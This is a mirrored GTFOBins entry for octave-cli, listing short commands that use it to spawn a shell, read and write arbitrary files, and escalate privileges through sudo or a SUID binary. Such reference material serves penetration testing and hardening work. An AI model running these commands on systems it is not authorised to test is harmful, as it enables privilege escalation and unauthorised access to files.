1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/octave.md
2021-04-26 16:07:59 +02:00

553 B

description functions
The payloads are compatible with GUI.
shell file-write file-read sudo limited-suid
code
octave-cli --eval 'system("/bin/sh")'
code
octave-cli --eval 'filename = "file_to_write"; fid = fopen(filename, "w"); fputs(fid, "DATA"); fclose(fid);'
code
octave-cli --eval 'format none; fid = fopen("file_to_read"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'
code
sudo octave-cli --eval 'system("/bin/sh")'
code
./octave-cli --eval 'system("/bin/sh")'